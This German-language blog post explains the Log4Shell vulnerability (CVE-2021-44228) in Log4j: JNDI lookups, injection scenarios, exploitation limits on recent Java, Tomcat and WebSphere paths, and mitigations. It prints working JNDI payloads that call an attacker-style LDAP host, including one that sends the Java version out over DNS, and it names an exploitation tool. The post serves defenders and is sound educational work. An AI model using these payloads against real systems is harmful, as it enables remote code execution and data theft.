Schwachstellenanalyse: Log4Shell

Alles was man über die Log4Shell Schwachstelle (CVE-2021-44228) wissen muss

Dies ist eine übersetzte Version. Das englische Original finden Sie hier.

“Log4Shell” (CVE-2021-44228) ist eine kritische Sicherheitslücke in der Java-Loggingbibliothek “Log4j”. Dieser Blog-Beitrag enthält (hoffentlich) alles, was man über diese Schwachstelle wissen muss und wie sie behen kann. Aufgrund des Zeitaufwands wurde er in Eile geschrieben, wir werden vorraussichtlich in den nächsten Tagen weitere Details und Anmerkungen hinzufügen.

Einführung

Log4j ist ein in der Java-Welt gängiges Framework zum Erstellen von Logdateien. Log4j tut, was man von einer solchenBibliothek erwartet, ist schnell und lässt sich gut in bestehende Java Applikationsserver integrieren. Hier ein einfaches Beispiel, das aus den übergebenen Benutzereingaben einen Logeintrag erstellt.

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        // User controls the log message
        logger.error(args[0]);
    }
}

Log4j ist ziemlich flexibel und verfügt über mehrere “Experten”-Features. Eine dieser Features sind “Lookup”-Plugins. Aus der offiziellen Log4J-Dokumentation":

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.*

Log4j beinhaltet mehrere Lookup-Plugins, die dazu verwendet werden können, um auf verschiedene Informationen zuzugreifen, z.B. den Docker-Container oder die aktuelle Java-Version. Wenn man die Dokumentation aufmerksam liest, heißt es da, dass diese Plugins an “beliebigen” Stellen verwendet werden können, was die Logmeldung selbst einschließt! Hier ein Beispiel, das die aktuelle Java-Version zum Logeintrag hinzufügt:

${java:version}

In den meisten Fällen ist dies für Angreifer nicht wirklich interessant. Der Wert wird im Protokoll der Anwendung gespeichert und (in den meisten Fällen) nicht ausgegeben. Mit dem “JNDI lookup”-Plugin liegen die Dinge jedoch etwas anders. Aus der offiziellen Dokumentation des JndiLookup Plugins, welches mit LOG4J2-313 eingeführt wurde:

The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.

CVE-2021-44228 allows an attacker to control the URL of the JNDI resource that will be accessed by Log4j. To understand why this is interesting and why this works we need to cover some JNDI basics first. I will keep it short. CVE-2021-44228 erlaubt es Angreifern, die URL der JNDI-Ressource auf die Log4j zugreifen möchte zu kontrollieren. Um zu verstehen, warum dies für Angreifer interessant ist, müssen wir zunächst einige JNDI-Grundlagen behandeln. Ich halte mich kurz.

JNDI 101

JNDI steht für “Java Naming and Directory Interface” und bietet die Möglichkeit, Java-Objekte aus einem Verzeichnisdienst wie LDAP zuzugreifen. Einer der häufigsten Anwendungsfälle für JNDI ist der Aufruf eines “Connection” Objects, das dann für den Zugriff auf das Datenbank-Backend verwendet wird.

Hier ein kleines Beispiel. Wir verwenden JNDI, um ein unter dem Namen “MyLocalDB” hinterlegte Datenbankverbindung abzurufen:


// Get the object with the name "MyLocalDB" from JNDI and cast it
// to a DataSource object
Context ctx = new InitialContext();
Context initCtx = (Context) ctx.lookup("java:/comp/env");
DataSource ds = (DataSource) initCtx.lookup("MyLocalDB");

con = ds.getConnection();

Dieser Ansatz bietet mehrere Vorteile: So können Sie beispielsweise unterschiedliche Datenbankverbindungen für verschiedene Umgebungen (dev/uat/prod) konfigurieren. Auf diese Weise ist es möglich, die Applikationin jeder dieser Umgebungen bereitzustellen, ohne die Applikationskonfiguration selbst ändern zu müssen.

JNDI basierende Angriffe

Kommen wir nun zu JNDI Injection Angriffen. Auch hier nur das absolut notwendige, Leser die sich einen umfassenden Einblick in diese Angriffstechnik wollen empfehle ich den ausgezeichneten Blackhat talk sowie das zugehörige Whitepaper von Alvaro Muñoz und Oleksandr Mirosh.

Es ist wichtig zu verstehen, was sich im Hintergrund abspielt, wenn eine Anwendung JNDI verwendet, um ein Objekt von einem Verzeichnisdienst abzurufen:

  • Der Verzeichnisdienst muss nicht Java-basiert sein, da er nur eine serialisierte Version des referenzierten Objekts bereitstellen muss, die vom JNDI-Client deserialisiert wird. Dabei wird native Java-Serialisierung verwendet (oh oh).

  • Es kommt vor das Objekt nicht im Verzeichnisdienst selbst gespeichert werden kann. Es könnte die maximale Objektgröße des verwendeten Dienstes überschreiten oder die Klasse selbst ist nicht serialisierbar. Für dieses Szenario bietet JNDI eine Funktion, mit der Sie den kompilierten Java-Code von einem Webserver herunterladen können. Die Java Runtime ruft diesen Code dann per HTTP GET Anfrage ab und erstellt eine neue Instanz dieser Klasse (sight)!

Angriffszenarien

Damit ein JNDI-Angriff funktioniert, müssen Angreifer in der Lage sein, die Zielanwendung dazu zu bringen, eine JNDI-Verbindung zu einem von ihnen kontrollierten Verzeichnisdienst (RMI/LDAP/CORBA) herzustellen. Es gibt verschiedene Szenarien, in denen das passieren kann:

  1. Die Angreifer haben Zugriff auf eine Verwaltungsoberfläche und können dort eine JNDI-Ressource definieren oder ändern.
  2. Ausnutzung einer Deserialisierungsschwachstelle: Angreifer benötigen hier einen Gadget oder eine Gadget-Chain, welche das Zielsystem dazu bringt, eine ausgehende JNDI-Verbindung herzustellen. Es existieren mehrere entsprechende Gadgets, JNDI-Injection ist ein zentrales Angriffspattern, wenn es um Ausnutzung von Schwachstellen in Java basierenden Deserialisierungsimplementierungen geht.
  3. Angreifer haben bereits teilweise Kontrolle über Einträge in einem Verzeichnisdienst, der per JNDI abgefragt wird, z. B. ein Benutzerkonto in Active Directory.
  4. Die Angreifer haben die volle Kontrolle über den Namen des Objekts (!!!)

Der letzte Punkt ist für das Verständnis der Log4j-Schwachstelle wichtig. Schauen Sie sich das nächste Codebeispiel an. Wir nehmen an, dass Angreifer hier den Namen der Ressource kontrollieren kann, der per JNDI abgerufen werden soll. Das scheint harmlos, schließlich ist es nicht möglich, die URL des verwendeten Verzeichnisdienstes zu ändern, oder?

public class JNDIExample {

  public static void main(String[] args) {
    try {
 
      if(args.length != 1) {
        System.err.println("Error: Please provide the name of the object to lookup");
        System.exit(1);
      }

      // Create the Initial Context configured to work with an RMI Registry
      Hashtable env = new Hashtable();
      env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
      
      // Source of the directory service. A attacker wants to control this:
      env.put(Context.PROVIDER_URL, "ldap://localhost:389");
      Context ctx = new InitialContext(env);
  
      // Look up the object name, passed on the comand line
     Object local_obj = ctx.lookup(args[0]);

     }
     catch (Exception ex) {
      System.err.println("Exception: " + ex);
     }
  }
}

Das sieht ähnlich wie das Beispiel aus der Log4j JNDI Lookup Plugin Dokumentation aus. Man “sollte” nur die Kontrolle über den Namen, aber nicht über die URL des Verzeichnisdienstes haben:

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  </PatternLayout>
</File>

Leider doch! Wie Muñoz und Mirosh in ihrem Paper (Seite 8) beschreiben versucht die Context.lookup Methode flexibel zu sein und erhalbt daher den dynamischen Protokollwechsel wenn eine absolute URL angegeben wird.

Wir können eine JNDI-Verbindung zu einem von uns kontrollierten Verzeichnisserver herstellen, indem wir eine JNDI-URL als Objektname angeben. Genau das passiert im Fall der Log4j-Schwachstelle. Hier ein “PoC” für Log4j. Dies kann leicht anhand einer URL von Burp Collaborator oder interact.sh überprüft werden:

${jndi:ldap://my-evil-ldap-server.mogwailabs.de/mogwailabs}

Auf diese Weise können wir eine Verbindung zu einem von uns kontrollierten LDAP Dienst herstellen und von dort serialiserte Objekte oder sogar Code laden. Angreifer können dafür bestehende Tools wie [rouge-JNDI] (https://github.com/artsploit/rogue-jndi) verwenden.

Reale Angriffe und Einschränkungen

Um diese Schwachstelle tatsächlich ausnutzen zu können, müssen wir folgende Dinge berücksichtigen:

  • Das Angriffsziel muss ausgehende Verbindungen zu Ihrem Verzeichnisdienst zulassen. Der bloße Empfang einer ausgehenden DNS-Anfrage genügt nicht. Angreifer können DNS immer noch verwenden, um Server-/Umgebungsvariablen auszulesen, was Ihnen bei der Ausnutzung anderer Schwachstellen helfen kann.

  • JNDI-Injections sind eine bekannte Angreifertechnik. Um das Risiko ein wenig zu reduzieren, hat Oracle das Remote Class Loading von RMI/CORBA in Java 8_121 deaktiviert. In Java Java 6u211, 7u201, 8u191 und 11.0.1 wurde das Laden von Remote-Klassen auch für LDAP-Dienste deaktiviert, wodurch die Tür für eine “einfache Remote-Exploitation” geschlossen wurde. Es ist möglich, diese Funktion über eine Konfigurationseinstellung wieder zu aktivieren, aber ich kenne keine Anwendung, die das tut. Da Log4j die Verschachtelung von Variablen erlaubt, können Angreifer per DNS auslensen, ob die Anwendung eine veraltete Java-Version verwendet: ${jndi:ldap://${java:version}.yourdomain.com/xyz}

  • Eine Kompromittierung ist auch mit aktuellen Java-Versionen möglich, wenn das Ziel Apache Tomcat verwendet. Dies wird durch die Klasse “org.apache.naming.factory.BeanFactory” verursacht. Ich werde hier nicht ins Detail gehen und verweise stattdessen auf den ausgezeichneten Blogbeitrag von Michael Stepankin an.

  • Eine Kompromittierung kann auch möglich sein, wenn das Zielsystem WebSphere verwendet. Aufgrund eines Problems bei einer WSDL-Auslösung ist es möglich, eine JAR-Datei im Verzeichnis /tmp/ abzulegen und sie von dort zu laden. Ich habe das nicht aktiv verifiziert, das sollte aber funktionieren. Eine Beispielimplementierung ist ebenfalls Teil von “rouge-jndi”. Ich kann leider nicht sagen, ob dieses Gadget bereits behoben wurde und daher nur bestimmte WebSphere-Versionen betrifft.

  • Angreifer könnten nach wie vor die native Deserialisierung angreifen, indem sie ein entsprechendes serialisiertes Objekt im Verzeichnisdienst bereitstellen. Diese Angriffe sind ebenfalls bekannt, allerdings haben wir es jetzt mit einer viel größeren Anzahl von betroffenen Anwendungen zu tun, die als potenzielle Ziele in Frage kommen. Vor dieser Schwachstelle musste die Anwendung “selbst” vom Nutzer übergebene Objekte deserialisieren, jetzt reicht es, eine Eingabe eines Nutzers in eine Logdatei zu schreiben.

Schwachstellenbehebung

Entwickler haben folgende Möglichkeien, um die Schwachstelle zu beheben bzw. ihre Systeme zu härten(bitte beachten Sie auch das offizielle Apache Advisory): Idealerweise sollten Sie auf Log4j v2.15.0 aktualisieren. Falls die Applikation Log4j 2.10 oder neuer verwendet und kein Upgrade durchgeführt werden kann, ist es durch das Setzen der folgenden System Property möglich JNDI Lookups in Logs zu deaktivieren:

log4j2.formatMsgNoLookups=true

Das Ausnutzen der Schwachstelle kann auch verhindert werden, indem die JndiLookup Klasse aus der log4j JAR-Datei entfernt wird.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Zusammenfassung

Diese Sicherheitslücke ist ziemlich ernst und wird im Jahr 2022 häufig ausgenutzt werden. Man sollte so schnell wie möglich updaten :)


Vielen Dank an C D-X bei Unsplash für das Titelbild.